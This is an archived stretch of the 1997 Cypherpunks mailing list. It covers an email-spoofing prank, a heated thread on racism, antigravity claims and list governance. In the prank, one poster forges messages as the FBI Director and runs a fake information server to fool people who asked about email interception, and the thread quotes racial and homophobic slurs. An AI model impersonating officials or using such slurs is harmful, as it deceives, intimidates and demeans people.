stylometer from basic UNIX tools (sed, sort, uniq, grep) and a calculator, and
it appears to actually _work_.

(In addition to being able to say two messages are by the same person, it looks
like you can also tell a little bit about the author, but as for how much and
what...?) 

-------------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Louis J. Freeh" <ljf@fbi.gov>"Louis J. Freeh" <ljf@fbi.gov>
Date: Sun, 16 Nov 1997 11:30:22 +0800
To: cypherpunks@toad.com
Subject: [Fwd: RTFM-79 / Email Interception]RTFM-79 / Email Interception
In-Reply-To: <yam7259.1396.270667912@Mail.amitar.com.au>
Message-ID: <346E663F.29E@fbi.gov>
MIME-Version: 1.0
Content-Type: message/rfc822



For further information on Email Interception: http://www.fbi.gov/

~~~~~~~~~~~~~~~~~~~~~
Shane Cracknell wrote:








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Louis J. Freeh" <ljf@fbi.gov>
Date: Sun, 16 Nov 1997 11:39:35 +0800
To: mike belton <meb@clockking.lse.fullfeed.com>
Subject: RTFM-709 / Email Interception
In-Reply-To: <199711160305.VAA11358@clockking.lse.fullfeed.com>
Message-ID: <346E6786.FA0@fbi.gov>
MIME-Version: 1.0
Content-Type: text/plain



Mr. Belton,
  Please stop by your local FBI headquarters first thing in the 
morning. We just need to ask you a few questions.
 (Bring your passport.)

Sincerely,
  Louis J. Freeh

~~~~~~~~~~~~~~~~~
mike belton wrote:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sun, 16 Nov 1997 17:43:01 +0800
To: cypherpunks@cyberpass.net
Subject: Anti-Grav?
Message-ID: <v03102807b094261c9844@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



I must have been sleeping, but it appears I missed the emergence of another Fleischman-Pons ("cold fusion") style episode, this time having to do with antigravity.  Experiments in 1992 in Finland seemed to show that the Earth's gravity could be shielded with a superconductor.  This experiment, by Eugene Podkletnov, at Finland's Tampere University of Technology, apparently displayed a reduction in the weight of objects placed above a levitating, rotating high Tc superconducting disk, exposed to high frequency magnetic fields. 

http://www.virtualpet.com/rbbi/folders/tech/basic/gravity.htm

http://www.inetarena.com/~noetic/pls/gravity.html#pandb

There are at least three different theoretical models for the effect -- gravitomagnetism, local change to cosmological constant, and outright shielding.  Detractors have pointed to possible experimental errors as the cause for the apparent levitation.  

Gravitomagnetism
The coupling of supercurrents to the classical gravitational field is extremely weak. The reason, of course, stems from the smallness of the coupling between gravity and the energy-momentum tensor of matter. One might wonder whether in a quantum theory of gravity - or at least in an approximation of the theory for weak fields - the Bose condensate of the Cooper pairs, due to its macroscopic quantum character, can play a more subtle role than as a simple contribution to the energy-momentum tensor. 

In other words, we wonder if the macroscopic quantum coherence of the condensate can be taken into account at a fundamental level in computing the interaction between the superconductor and the external gravitational field.  Results might then differ from those obtained for the gravitational coupling of "regular", incoherent matter.

Shielding
It appears that a theory is being developed for simple shielding of gravity, in analogy with the shielding of microwaves by metal.  Different materials shield or don't  shield EM ratiation at various frequencies; metal shields microwaves, but plastic does not. Pure YBCO superconductors do not shield microwaves, but YBCO  doped with small amounts of lead or silver does.  They relate this to gravity shielding by virtue of two ideas -- that gravity might have a frequency (very high, on the order of the Planck length, or 10^34) -- a very speculative idea -- and that the bose condensate within a superconductor could radically lower the effective interaction frequency of gravity so that it could be shielded by ordinary matter. 

On a related note, NASA has Breakthrough Propusion page http://www.lerc.nasa.gov/WWW/bpp which outlines their plans and activities to explore (and hopefully perfect) non-mass based propusion technologies.  They seem to be taking this seriously enough to form a Delta-G group at their Marshall Space Flight Center to try and reproduce Podkletnov's (and others) experiments.  

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason <rennie@one.net.au>
Date: Sun, 16 Nov 1997 12:38:41 +0800
To: cypherpunks@toad.com
Subject: Re: Mail interception
In-Reply-To: <346E2E39.A29AFEE2@one.net.au>
Message-ID: <346E7541.5A13@one.net.au>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> Jason wrote:
> > So, does anybody know how to or where i can get information on
> > intercepting email from ?
> >
> > Any help that can be provided would be greeatly appreciated.

> Jason,
> Some asshole spoofed the list with the wrong reply address for the
> Information Server at Sympatico. 
> The correct address is: Information Server <ualdv8@sk.sympatico.ca>
> Your subject header should be: "Help"
> The body of the message should contain: "email security"
>
> I hope this helps. 

Dave,
  It worked, thanks. It is a shame that a few jerkoffs have to spoil
the list for everyone else.

regards jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 16 Nov 1997 17:54:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism
Message-ID: <3.0.32.19971115221801.006c1504@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




As good crypto-anarchists, no one on this list should care what Tim's views
are on race.   Your main concern should be a good defense against
aggression;  if Tim hasn't taken any action to bring harm to others, then
there's isn't any need to worry about his opinion.

Just lock & load.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 16 Nov 1997 17:54:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mad as Hell
Message-ID: <3.0.32.19971115222916.006bc088@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Nerthus wrote:

>In many cases, State Sovereignty is just another phrase for the "Petty
>Bureaucrats Reempowerment Act": moral dictators hiding behind the flag
>of freedom.
>
>As for me, I'll take Individual Sovereignty over State Sovereignty on
>any day.  The 9th Amendment states: 
[....]
................................................................


The statement from Colorado Senator Charles Duke on the "10th Amendment
Sovereignty Resolution" was the first I'd heard of it, so I wasn't aware
that it was limited to a vision of smaller States over Larger States.   I,
too, would prefer a showdown for a recognition of  Individual Sovereignty,
distant as such a thing may seem in possibility.   Only science fiction
authors and readers seem to be able to identify individuality out of a mass
of "social factors".
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sun, 16 Nov 1997 12:52:05 +0800
To: Ann Oy <annoy@innocent.com>
Subject: Email Interception Information
In-Reply-To: <346E2E39.A29AFEE2@one.net.au>
Message-ID: <346E77AA.70F7@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Ann Oy wrote:
>

Ann,
  The correct address for the Information Server at Sympatico is:
Information Server <ualdv8@sk.sympatico.ca>
  Use a subject header of "Help" and put "email security" in the
message body.

Dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 15 Nov 1997 21:45:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: What Joichi *meant* to say was...
In-Reply-To: <199711150345.EAA06240@basement.replay.com>
Message-ID: <199711151341.WAA15213@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:05 97/11/15 -0600, TruthMonger wrote:
> Joichi Ito, <jito@eccosys.com>, writes:

>   I wouldn't be so quick to call all racists stupid...remember, we
> can't be sure that was really Hitler's body they found, and people
> who set out to conquer the world don't usually take kindly to being
> called stupid.

>   Is it National Paint With A Wide Brush Day?
>   Did I miss the announcement? 
>   If all racists are stupid, are all liberals queer? Are we still 
> working that old, tired game?
> 
OK. You're right. As several people have pointed out, not all racists
are stupid and not all stupid people are racists. I also agree that
Tim is non-stupid racist. (One of the worst kind.)

>   Is it my imagination, or is the rapid decline of the quality of posts
> to the list in the last few days a direct result of the ignorant and
> emotional posts by those complaining about the decline in the quality
> of the posts to the list?
>   Can you say, "Self-fulfilling prophecy?"...sure, you can...

I'm wouldn't call the recent posts ignorant, but I agree that the
I don't have much more to say about all of this so I'll shut up
until someone attacks me.

 - Joi

P.S. If the only thing Platypus has to make fun of me for is my
English ability, I'm flattered. ;-P

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Nov 1997 15:33:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Discrimination and Prejudice are Not Necessarily Bad Things
In-Reply-To: <v0310281eb093cfb6329b@[207.167.93.63]>
Message-ID: <19971115232707.00614@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Nov 15, 1997 at 04:03:22PM -0700, Tim May wrote:
> 
> The recent list discsussion reminds me that not all of you have yet thrown
> off your knee-jerk reaction to "prejudice" and "discrimination."

You are so kind to enlighten us.

[...]

> But I am surprised that more members of this list have not managed to throw
> off the baggage of "discrimination is bad" simplemindedness.
>
> To be sure, certain forms of racism, bigotry, and discrimination are both
> irrational and counterproductive. The black man who thinks of all whites as
> devils is no different from the white man who thinks of all blacks as
> illiterate criminals.

OK, so it is valuable to be able to "discriminate" between roses and
thistles, and squares and triangles.  And I'm glad that you think
"certain forms" of racism and bigotry are irrational and
counterproductive.  But the obvious inference from your statement is
that there are other forms of bigotry and racism, forms that you think
are "productive and rational". 

> But let's not forget what "discrimination" means. It means choosing some
> actions or beliefs over others. It used to be a compliment  to say someone
> had "discriminating tastes."

How about we forget your dance around the delicate shades of 
meaning accorded the word "discriminate", and get back to "bigotry" 
and "racism"?  I'm sure that a description of the the forms of 
bigotry and racism you value would be most enlightening. 

[...]

> Does this mean I have a morbid fear of black people? Nope. Does it mean I
> would never hire a black? Nope. (I did in fact help hire a black scientist
> when I was at Intel.)

Whooeee.

> And I also don't think certain words are off limits to white people. If
> blacks use the term "nigger" (or "nigga") and refer to black women as
> "hoes" (whores, in Ebonics), why are these terms then bowdlerized in
> mainstream texts as "the "N" word" (etc.)?
> 
> Likewise, if homosexuals call themselves "queers" and "dykes," as in "Queer
> Nation," "Dykes on Bikes," and so on, how can they object when others use
> these words? (I know the post-Marxist, deconstructionist claptrap about
> their reclaiming of patriarchal words, blah blah. It still remains a case
> of "If we use it, it's OK, but if you use it, it's racist and homophobic.")

You make a standard racist apologist argument there, and it's still
wrong, as it always has been.  What is telling is that you make it.

The actual situation is this: racism is an emotional state, not a set
of words: you are a racist because of your feelings, not because of
your active vocabulary.  When words are used to express racist
sentiments they are racist words; when they are used with affection
they are not.  In practice, certain words are used with fair
regularity by bigots to express their bigotry; the targets of that
bigotry note those words. 

But the words really aren't the issue.  What marks someone as a bigot
are the emotions underlying the words.  When that someone is extremely
clever with words, like Tim May, it may be a little while before a
consistent emotional fingerprint comes through.  [In Tim's case the
emotional fingerprint is heavy contempt for most of the human race,
with special contempt for certain groups.]

It's worth noting that as an emotional phenomenon low-level racism and
bigotry are extremely common.  Anyone with a healthy amount of
emotional self-awareness realizes that they have irrational likes and
dislikes for other people that are triggered by appearance or 
behavior.  This is what makes Tim's apologia so pathetic.

[whole raft of dissembling racist apologia deleted]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 16 Nov 1997 13:51:56 +0800
To: Jason <rennie@one.net.au>
Subject: Re: RTFM-709
In-Reply-To: <346E2E39.A29AFEE2@one.net.au>
Message-ID: <346E86EC.1DF0@dev.null>
MIME-Version: 1.0
Content-Type: text/plain

Jason wrote:
> Information Server wrote:
> > For information on the interception of plaintext email,
> > send a reply to this message, with an empty message body
> > and with a subject line -- "RTFM-709".

Jason,
  I have attached a file which includes some of the responses
sent to "Information Server <toto@sk.sympatico.ca>", as well
as a post to the list, apparently from David E. Smith, the
remailer operator at Bureau42, giving the 'correct' address
of the non-existent 'Information Server' supposedly at
Sympatico...and, as a special bonus, a post to the list,
purportedly from you, thanking 'Dave' for the information.

  You are a victim of your own misplaced faith in the great god 
known as WYSIWYG. (What you see, is what you get. -- NOT!)
  If I _am_ <toto@sk.sympatico.ca>, then you have the satisfaction
of knowing that if I suffer a serious regression into my former
violent, psychotic delusional state, that the proper authorities
will likely be able to track me down and prosecute me for you
bizarre, sadistic murder.
  If I am _not_ <toto@sk.sympatico.ca>, well...

  Regardless, whether you are seeking information on email interception
or home-study on how to committ bizarre sex acts with farm animals,
your interest in this information is known to both whomever you send
your request to, as well as everyone who you reply to in regard to
offered information, as well as everyone that the recipients share
your email with _and_ anyone who manages to access the email accounts
or systems of _all_ of the forementioned.
  Since both your real and forged corresponedence has already gone
to private email accounts, public mailing lists, and perhaps to
USENET and beyond, I think you can see the advisability of using
encryption to limit access to the plaintext of your message to
only those you specifically encrypt the message to.

  You may not care if the whole world knows that you want information
on email interception, or even about your fondness for farm animals,
but there are undoubtedly things which you would rather keep between
yourself and the intended recipient.
  If a real 'Information Server' had a verifiable Public Key for
you to encrypt your reply to, then it would not likely matter if you
sent the message to a spoof address, as unknown recipients could
not likely read it. The same applies to your friends, relatives and
bussiness acquaintances. If you use encryption for those things
which are important for you to keep private, then you do not have
to worry as much if they share an email account, computer or system
with friends, family, coworkers or strangers.

  The 'spoof' I did was neither technically complicated nor even
particularly clever. On the other hand, there are a plethora of
people in existence who are both clever _and_ skilled at poking
their noses in wherever they want and doing whatever they like
with the information.

Sincerely,
Louis J. Freeh  (aka TruthMonger)
Director  (aka Lunatic)
Federal Bureau of Investigation  (aka Electronic Forgery Foundation)
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"


>From - Sat Nov 15 20:53:35 1997
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Comments: Authenticated sender is <mccaskill@[204.180.128.14]>
From: "Tom McCaskill" <mccaskill@mindspring.com>
To: toto@sk.sympatico.ca
Date: Sat, 15 Nov 1997 21:32:32 +0000
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>From - Sat Nov 15 20:53:30 1997
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From: "joseph gonzales" <polo@stic.net>
To: <toto@sk.sympatico.ca>
Subject: RTFM-709
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----------
> From: Information Server <toto@sk.sympatico.ca>
> To: Jason <rennie@one.net.au>
> Cc: cypherpunks@toad.com
> Subject: Re: Mail interception
> Date: Saturday, November 15, 1997 6:46 PM
> 
> For information on the interception of plaintext email,
> send a reply to this message, with an empty message body
> and with a subject line -- "RTFM-709".

>From - Sat Nov 15 20:53:36 1997
Received: from amiga.amitar.com.au (root@amiga.amitar.com.au [203.57.242.1])
	by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id TAA17491
	for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 19:58:07 -0600 (CST)
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From: Shane Cracknell <shane@Amitar.com.au>
Reply-To: shane@Amitar.com.au
To: Information Server <toto@sk.sympatico.ca>
Date: Sun, 16 Nov 1997 09:58:27 +0800
Message-ID: <yam7259.1396.270667912@Mail.amitar.com.au>
In-Reply-To: <346E4255.702B@sk.sympatico.ca>
X-Mailer: YAM 1.3.5 [020] - Amiga Mailer by Marcel Beck
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>From - Sat Nov 15 21:19:53 1997
Received: from clockking.lse.fullfeed.com ([199.201.90.25] (may be forged))
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Date: Sat, 15 Nov 1997 21:05:52 -0600
From: mike belton <meb@clockking.lse.fullfeed.com>
Message-Id: <199711160305.VAA11358@clockking.lse.fullfeed.com>
To: toto@sk.sympatico.ca
Subject: RTFM-709
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>From - Sat Nov 15 22:24:16 1997
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	with Novell_GroupWise; Sat, 15 Nov 1997 21:19:52 -0800
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X-Sender: ShellShocked (Unverified)
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Date: Sat, 15 Nov 1997 20:13:25 -0800
To: toto@sk.sympatico.ca
From: Ann Oy <annoy@innocent.com>
Subject: RTFM-709
In-Reply-To: <346E4255.702B@sk.sympatico.ca>
References: <346E2E39.A29AFEE2@one.net.au>
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>From - Sat Nov 15 22:35:14 1997
Received: from nsm.htp.org ([210.141.239.33] (may be forged))
	by orion.sk.sympatico.ca (8.8.6/8.8.6) with SMTP id WAA25016
	for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 22:34:36 -0600 (CST)
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Message-ID: <346E7541.5A13@one.net.au>
Date: Sat, 15 Nov 1997 22:23:29 -0600
From: Jason <rennie@one.net.au>
Reply-To: cypherpunks@toad.com
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
Subject: [cpe:4407] Re: Mail interception
References: <346E2E39.A29AFEE2@one.net.au>
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David E. Smith wrote:
> Jason wrote:
> > So, does anybody know how to or where i can get information on
> > intercepting email from ?
> >
> > Any help that can be provided would be greeatly appreciated.

> Jason,
> Some asshole spoofed the list with the wrong reply address for the
> Information Server at Sympatico. 
> The correct address is: Information Server <ualdv8@sk.sympatico.ca>
> Your subject header should be: "Help"
> The body of the message should contain: "email security"
>
> I hope this helps. 

Dave,
  It worked, thanks. It is a shame that a few jerkoffs have to spoil
the list for everyone else.

regards jason

>From - Sat Nov 15 22:39:32 1997
Received: from toad.com (toad.com [140.174.2.1])
	by orion.sk.sympatico.ca (8.8.6/8.8.6) with ESMTP id WAA25972
	for <toto@sk.sympatico.ca>; Sat, 15 Nov 1997 22:38:22 -0600 (CST)
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Message-ID: <346E77AA.70F7@bureau42.ml.org>
Date: Sat, 15 Nov 1997 22:33:46 -0600
From: "David E. Smith" <dave@bureau42.ml.org>
Reply-To: cypherpunks@toad.com
Organization: Bureau42 Enterprises - An EFF Subsiduary
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: Ann Oy <annoy@innocent.com>
CC: cypherpunks@toad.com
Subject: Email Interception Information
References: <346E2E39.A29AFEE2@one.net.au> <4.0.32.19971115201303.00e102f0@postoffice.pacbell.net>
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Ann Oy wrote:
>

Ann,
  The correct address for the Information Server at Sympatico is:
Information Server <ualdv8@sk.sympatico.ca>
  Use a subject header of "Help" and put "email security" in the
message body.

Dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Nov 1997 13:12:08 +0800
To: cypherpunks@toad.com
Subject: Re: Email Interception Information
In-Reply-To: <346E77AA.70F7@bureau42.ml.org>
Message-ID: <mVw9Fe39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> Information Server <ualdv8@sk.sympatico.ca>

This sounds like a pedophile address.  The RCMP should check it out for
kiddie porn and bomb- and poison gas making instructions.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Sat, 15 Nov 1997 21:11:34 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: Gieger dies in poverty...not!
In-Reply-To: <4d6eb9fde26d7cea2f4cb06471340fad@anon.efga.org>
Message-ID: <wx200ib92t.fsf@profane.iq.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

>   Why? Because those being hatefully intolerant have the 'right'
> beliefs as to what the Bible says. 
> (Am I a racist if I don't also include an example from the Koran?)

No, just an illiterate.

--
Prof. Julian Assange  |"Don't worry about people stealing your ideas. If your
		      | Ideas are any good, you'll have to ram them down
proff@iq.org          | people's throats." -- Stolen quote from Howard Aiken
proff@gnu.ai.mit.edu  |                           http://underground.org/book





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 16 Nov 1997 14:39:36 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <40V8Fe23w165w@bwalk.dm.com>
Message-ID: <199711160624.AAA06173@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> By the way, someone I know in real life claims that they've seen the "Silicon
> Valley don't hire list" and I really am on it. :-)

Do you think that you are on it because of Tim or for some other reason?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Nov 1997 17:18:28 +0800
To: cypherpunks@toad.com
Subject: Re: Kent Cripin's cynical liberalism
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <19971116010003.07624@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Nov 15, 1997 at 06:21:50PM -0600, TruthMonger wrote:
[accuses me of not knowing humor]
>   (Kent, are you the one sending anonyous emails to whitehouse.gov
>    saying, "Throw rocks at DC!"?)

No.  But here's a joke:

    The pope and President Clinton died on the same day, but due to an
    administrative foul up, Clinton was sent to heaven and the Pope
    was sent to hell. 

    The Pope explained the situation to the devil, he checked out all
    of the paperwork, and the error was acknowledged.  The Pope was
    told, however, that it would take about 24 hours to fix the
    problem and correct the error. 

    The next day, the Pope was called in and the devil said his
    good-bye as he went off to heaven. 

    On his way up, he met Clinton who was on his way down, and they
    stop to chat. 

    Pope: Sorry about the mix up. 

    President Clinton: No problem. 
          
    Pope: Well, I'm really excited about going to heaven. 

    President Clinton: Why's that?

    Pope: All my life I've wanted to meet the Virgin Mary. 

    President Clinton: You're a day late. 

[...]

>   Really, Kent, you surely can't have lived such a cloistered life that
> you judge everything in life by the words and images cast upon the 
> Silver Screen of alleged reality.

I don't think anyone who knows me would say I have lived a cloistered 
life.  "Checkered" is the word that comes to mind.  Though I've been pretty 
stable the last 20 years. :-)

>   In my younger days I used to get picked up by dirt-farmers while
> hitchiking, and be subjected to a predictable lecture about long
> hair, hippies all ought to get a job, kids today...blah, blah.
> Most of the time, before dropping me off, the farmer would dig
> a few bucks out of his pocket and offer it to me, saying, "Have
> you eaten today? Here, take this."

My youth was similar.  But now the tables have turned, eh? Last
Tuesday I was coming home from a doctors appt., and saw a guy 
standing at a light with a sign "Homeless -- will work for food".  It 
was getting dark; I happened to have a $10 bill handy, so I rolled 
down my window and gave it to him -- just another bleeding heart 
liberal, I guess.  But I didn't give him a lecture.

> > >   I've smoked crack with blacks, niggers and black-afro americans. When
> > > I talk loud enough for them to hear me, I try to be courteous enough to
> > > fit my choice of words to the environment and/or their preference.
>  
> > courtesy = censorship
> 
> Courtesy = free choice of words = honest self-censorship
> Politcially Correct Politeness = Mandatory/voluntary self-censorship

I just tossed that out to think about.  The relationship between 
courtesy and censorship is pretty subtle.


> NEWS FLASH!!!
>   Once you grow up and move away from home, then many things that were
> formerly mandatory (or else!) become voluntary. People who were easy
> to toilet train often go through life thinking that they are 'good'
> people just because they still haven't figured out that they have
> a 'choice' of how to speak, act, behave.  
>   I'll take a good old redneck who has learned not to 'hate niggers'
> as much as he used to, over an anal retentive batik artist who 
> still hasn't figured out that he clenches his teeth when he speaks
> of the 'Black-Afro American' who robbed and pistol-whipped him.

Hmm -- I've been robbed at gunpoint 3 times, pistol-whipped once.  The
perpetrators were all minorities; none were ever caught.  Possessing a
gun at the time wouldn't have made a positive difference in any of the
cases, incidentally.  (I own several guns; I am quite familiar with
guns; I no longer really have a use for them, though.)

I don't clench my teeth over it.  But racism does get under my skin,
in a very personal way. 

[...]

>   The best way to eliminate racism is to hire a racist, go to dinner
> with a racist, talk with a racist--not to sit drinking cafe latte 
> with your friends while denouncing racism.

Hardly an exhaustive list of options.

>   I find it hard to believe that the slants and the round-eyes on
> this list think that apparent differences in the backgrounds and
> beliefs of list members deserves more discussion than the loss of
> our common freedoms,

It's because there are enough people on the list who see a distinction
between preservation of freedom, and hate and fear mongering.  Even
more, I think that many feel that the hate and fear mongering is
actually contrary to the goal of preserving freedom. 

[...]

>   In the course of pursuing things which are important in our life
> (such as producing the Nutly News), we will be much more productive
> if we refrain from joining in mouth-jerk reactions to the worms
> that get dangled in front of us by the anonymous entities posting
> from the boat above us.

Right.  I never pay attention to anonymous entities.

>   And the way this relates to crypto is...NONE OF YOUR FUCKING
> BUSINESS! (<--- Topically Incorrect)
> 
> TruthMonger

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 16 Nov 1997 08:34:26 +0800
To: cypherpunks@toad.com
Subject: Re: auto signing messages Re: perl from Amad3us
Message-ID: <199711160027.BAA16314@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Amad3us Anonymous (if that is his/her *real* name wrote:
> Antonomasia says:
> > Real paranoiacs don't put temporary files in world-writeable directories.

> > If a hostile user symlinks your majordomo binary (or something)
> > to /tmp/.sig999 you're going to overwrite it with garbage.
 
> Sure.  But have you looked at pgp2 source code? (smirks).
> 
> (Hint, temporary files all over the place.)

  For you old farts who have not been out in the real world for a
while, you should make note of the fact that the price of memory
has dropped, and it is now feasible to implement RAM disks to
store temporary files.
  You can also direct a program to use a RAM trash-disk for its
temporary files, wiping it immediately after use without having
to worry about fucking up your other temporary files.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "wabe" <wabe@smart.net>
Date: Mon, 17 Nov 1997 03:13:14 +0800
To: <cypherpunks@toad.com>
Subject: evolRe: What cypherpunks used to be
Message-ID: <01bcf27e$a115e8e0$737f61ce@dave>
MIME-Version: 1.0
Content-Type: text/plain




ANONYMOUS said:
> evolve or die

Evolution requires death, by definition.  
_______________________________________
-wabe



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Sun, 16 Nov 1997 13:54:21 +0800
To: cypherpunks@toad.com
Subject: Re: degree of anonymity
Message-ID: <m0xWwle-0005S3C@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain



One blithered:

>Now maybe everyone will see what I mean when I say that those on this
>list now only stand for guns, violence, threats of terrorism and murder,
>racism, homophobia.

Speak for yourself, mate!

The crypto content is still worthwhile, what there is of it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Mon, 17 Nov 1997 01:26:18 +0800
To: cypherpunks@Algebra.COM
Subject: technical issues of the list
Message-ID: <m0xWxe3-0005TqC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Issues:


1.  Robustness.  Usenet wins.
2.  Efficiency.  Usenet loses, but perhaps some kind of hack 
     could be implemented combining mail and news delivery for
     greater efficiency without losing robustness?  I'm not 
     familiar with NNTP.
3.  Access control.  Usenet is too easy to get in to.  We need
     to discourage clueless newbies from bothering us.  This 
     too could be hacked, e.g. set up a PGP cancel bot which
     only allows PGP signed posts.  (This has many other 
     convenient benefits such as encouraging nyms, and 
     preventing spam.)


Hm..  But people might worry that sigs could increase their
legal exposure, even if they use (less than perfectly strong) 
nyms.  So a good variation is to generate the canonical key 
pair and share the secret key around.  Hell, post the secret 
key once a week in the FAQ...  The cancel bot should allow
sigs by either that key or any arbitrary key.  Whoops!  Such
a cancel-bot undermines our goal of robustness..   HMMMmm.


Okay the best solution to signal/noise management is (as 
always) filtering at the reader's desk.  I don't read William 
H. Geiger III or Paul Bradley posts (usually), I don't read
anything Subject: "Make Money Fast", from "Graham-John 
Buellers" or containing "Timmy" in the first sentence, and if 
we switch to Usenet, I won't read articles posted by unknowns 
without PGP sigs.  There.  :-)



Regards,

Zooko

P.S.  I am not a crook.  Nor am I the anonymous who is so 
earnestly pleading for some sanity-checking around here, 
although I tend to agree with some of his points.

P.P.S.  Hi, Joichi Ito!  Nice to see some articles from the
Japanese chapter of The International Committee to Put The 
Bastards Up Against A Wall---  whoops-  I mean, the Japanese 
chapter of the Peace-Loving, Code-Writing, Money-Making 
Cypherpunks.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
Comment: http://www.c2.net/~bryce -- 'BAP' Easy-PGP v1.01

iQCVAwUBNG3T6hiDTlaqCaKdAQGTBwP+MFtiUEyD0zMCmhTUXA6vz4Ije/2qvPEP
ckhFUlw4qLDg0cW0uXsS6Dl4HKhIV9Iu8DtC8BA7C692vC6E6EH5xQIQW6BmajOp
gxhECxeCT2zrtGRKwDV5GMEtLsJ5Splp7qxlGJW4o1/16rhGVpxWzqESgC8PhDaT
uAyb49at0pM=
=HMRX
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 16 Nov 1997 22:19:45 +0800
To: cypherpunks@toad.com
Subject: InfoWarriors - Alpha
Message-ID: <346EFDB9.3910@dev.null>
MIME-Version: 1.0
Content-Type: text/html

